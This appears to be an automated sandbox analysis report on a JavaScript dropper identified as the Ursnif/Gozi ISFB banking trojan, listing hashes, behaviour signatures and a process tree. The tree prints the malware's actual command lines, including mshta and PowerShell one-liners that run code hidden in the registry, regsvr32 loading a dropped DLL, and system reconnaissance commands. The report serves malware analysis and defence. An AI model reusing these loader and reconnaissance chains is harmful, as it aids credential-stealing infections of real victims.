Overview

overview

10

Static

static

presentation_p1f.js

windows7_x64

10

presentation_p1f.js

windows10_x64

10

Analysis

  • max time kernel
    124s
  • max time network
    84s
  • platform
    windows7_x64
  • resource
    win7v200410
  • submitted
    17-04-2020 22:47

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General

  • Target

    presentation_p1f.js

  • Size

    1.3MB

  • MD5

    5024d780ce83091c9e3ec1501b1cce19

  • SHA1

    4f9c3b9aa21a5a4b638eef3902d26f2f562a0ed5

  • SHA256

    55a1a3a43322e94c4a2d9363a72aec52b16b7fc591f23601de1cfcb85559558c

  • SHA512

    96b888f75ac39d56510f8f3aac763bb32182a69c77f649b6349789d84f848ea2057d54a4b3e72ae3318c47814edb4311c57d93add609eb9e2c0334c3e8f5d2ba

Score
10/10
bankertrojangozi_ifsbursnifdiscoveryevasionspyware

Malware Config

Signatures

  • Discovers systems in the same network 1 TTPs 1 IoCs
    discovery
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Makes http(s) request 11 IoCs

    Contacts server via http/https, possibly for C2 communication.

  • Checks for installed software on the system 1 TTPs 37 IoCs
    discovery
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 42 IoCs
    adwarespyware
  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

    bankertrojanursnif
  • Suspicious use of SetThreadContext 4 IoCs
  • Checks whether UAC is enabled 1 TTPs 4 IoCs
    evasiontrojan
  • Drops file in System32 directory 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs net.exe
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious use of WriteProcessMemory 99 IoCs
  • Loads dropped DLL 1 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

    bankertrojangozi_ifsb
  • Runs ping.exe 1 TTPs 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: MapViewOfSection
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetThreadContext
    • Checks whether UAC is enabled
    • Suspicious use of WriteProcessMemory
    • Suspicious use of FindShellTrayWindow
    PID:1272
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\Users\Admin\AppData\Local\Temp\presentation_p1f.js
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2024
      • C:\Windows\System32\regsvr32.exe
        "C:\Windows\System32\regsvr32.exe" C:\Users\Admin\AppData\Local\Temp\\FAwOkFRO.txt
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1224
        • C:\Windows\SysWOW64\regsvr32.exe
          C:\Users\Admin\AppData\Local\Temp\\FAwOkFRO.txt
          4⤵
          • Loads dropped DLL
          PID:1280
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\AppDataLow\\Software\\Microsoft\\4F9B8A74-6250-5914-E4F3-B69D58D74A21\\DmdlDump'));if(!window.flag)close()</script>"
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2040
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\4F9B8A74-6250-5914-E4F3-B69D58D74A21").Certxva2))
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: MapViewOfSection
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetThreadContext
        • Drops file in System32 directory
        • Suspicious use of WriteProcessMemory
        PID:1204
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gti4bvfk\gti4bvfk.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1360
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA350.tmp" "c:\Users\Admin\AppData\Local\Temp\gti4bvfk\CSCE409794B114745488AE5C2988927EDD3.TMP"
            5⤵
              PID:1128
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vmc4f4zi\vmc4f4zi.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1300
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA3EC.tmp" "c:\Users\Admin\AppData\Local\Temp\vmc4f4zi\CSC7937BD7D42D4BF0B6C9FBFF42195A1F.TMP"
              5⤵
                PID:1572
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\FAwOkFRO.txt"
          2⤵
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1072
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            • Runs ping.exe
            PID:2012
        • C:\Windows\system32\cmd.exe
          cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\A3D4.bi1"
          2⤵
            PID:1980
            • C:\Windows\system32\nslookup.exe
              nslookup myip.opendns.com resolver1.opendns.com
              3⤵
                PID:2032
            • C:\Windows\system32\cmd.exe
              cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\A1D4.bi1"
              2⤵
                PID:1968
                • C:\Windows\system32\nslookup.exe
                  nslookup myip.opendns.com resolver1.opendns.com
                  3⤵
                    PID:1392
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\A1D4.bi1"
                  2⤵
                    PID:324
                  • C:\Windows\system32\cmd.exe
                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\A3D4.bi1"
                    2⤵
                      PID:600
                    • C:\Windows\system32\cmd.exe
                      cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\6F44.bin1"
                      2⤵
                        PID:1360
                        • C:\Windows\system32\systeminfo.exe
                          systeminfo.exe
                          3⤵
                          • Gathers system information
                          PID:1572
                      • C:\Windows\system32\cmd.exe
                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\6F44.bin1"
                        2⤵
                          PID:1736
                        • C:\Windows\system32\cmd.exe
                          cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\6F44.bin1"
                          2⤵
                            PID:1388
                            • C:\Windows\system32\net.exe
                              net view
                              3⤵
                              • Discovers systems in the same network
                              PID:1092
                          • C:\Windows\system32\cmd.exe
                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\6F44.bin1"
                            2⤵
                              PID:1968
                            • C:\Windows\system32\cmd.exe
                              cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\6F44.bin1"
                              2⤵
                                PID:2004
                                • C:\Windows\system32\nslookup.exe
                                  nslookup 127.0.0.1
                                  3⤵
                                    PID:1560
                                • C:\Windows\system32\cmd.exe
                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\6F44.bin1"
                                  2⤵
                                    PID:812
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\6F44.bin1"
                                    2⤵
                                      PID:1344
                                      • C:\Windows\system32\tasklist.exe
                                        tasklist.exe /SVC
                                        3⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        • Enumerates processes with tasklist
                                        PID:1504
                                    • C:\Windows\system32\cmd.exe
                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\6F44.bin1"
                                      2⤵
                                        PID:1164
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\6F44.bin1"
                                        2⤵
                                          PID:1496
                                          • C:\Windows\system32\driverquery.exe
                                            driverquery.exe
                                            3⤵
                                              PID:1756
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\6F44.bin1"
                                            2⤵
                                              PID:1708
                                            • C:\Windows\system32\cmd.exe
                                              cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\6F44.bin1"
                                              2⤵
                                                PID:1492
                                                • C:\Windows\system32\reg.exe
                                                  reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                                  3⤵
                                                  • Checks for installed software on the system
                                                  PID:1208
                                              • C:\Windows\system32\cmd.exe
                                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\6F44.bin1"
                                                2⤵
                                                  PID:1980
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\6F44.bin1 > C:\Users\Admin\AppData\Local\Temp\6F44.bin & del C:\Users\Admin\AppData\Local\Temp\6F44.bin1"
                                                  2⤵
                                                    PID:324
                                                • C:\Program Files\Internet Explorer\iexplore.exe
                                                  "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                                                  1⤵
                                                  • Suspicious use of SetWindowsHookEx
                                                  • Modifies Internet Explorer settings
                                                  • Checks whether UAC is enabled
                                                  • Suspicious use of WriteProcessMemory
                                                  • Suspicious use of FindShellTrayWindow
                                                  PID:1700
                                                  • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1700 CREDAT:275457 /prefetch:2
                                                    2⤵
                                                    • Suspicious use of SetWindowsHookEx
                                                    • Modifies Internet Explorer settings
                                                    • Checks whether UAC is enabled
                                                    PID:1764
                                                  • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1700 CREDAT:406535 /prefetch:2
                                                    2⤵
                                                    • Suspicious use of SetWindowsHookEx
                                                    • Modifies Internet Explorer settings
                                                    • Checks whether UAC is enabled
                                                    PID:1532

                                                Network

                                                MITRE ATT&CK Enterprise v6

                                                Replay Monitor

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                                                Downloads

                                                • memory/1072-20-0x0000000001C40000-0x0000000001CF1000-memory.dmp

                                                  Filesize

                                                  708KB

                                                  Download

                                                • memory/1072-17-0x0000000000210000-0x0000000000211000-memory.dmp

                                                  Filesize

                                                  4KB

                                                  Download

                                                • memory/1204-14-0x000000001C220000-0x000000001C2D1000-memory.dmp

                                                  Filesize

                                                  708KB

                                                  Download

                                                • memory/1272-18-0x0000000006500000-0x00000000065B1000-memory.dmp

                                                  Filesize

                                                  708KB

                                                  Download

                                                • memory/1272-16-0x0000000007BA0000-0x0000000007C51000-memory.dmp

                                                  Filesize

                                                  708KB

                                                  Download

                                                • memory/1272-13-0x0000000002700000-0x0000000002701000-memory.dmp

                                                  Filesize

                                                  4KB

                                                  Download

                                                • memory/1700-15-0x0000000002E60000-0x0000000002E61000-memory.dmp

                                                  Filesize

                                                  4KB

                                                  Download

                                                • memory/2012-19-0x0000000000100000-0x0000000000101000-memory.dmp

                                                  Filesize

                                                  4KB

                                                  Download

                                                • memory/2024-0-0x00000000028C0000-0x00000000028C4000-memory.dmp

                                                  Filesize

                                                  16KB

                                                  Download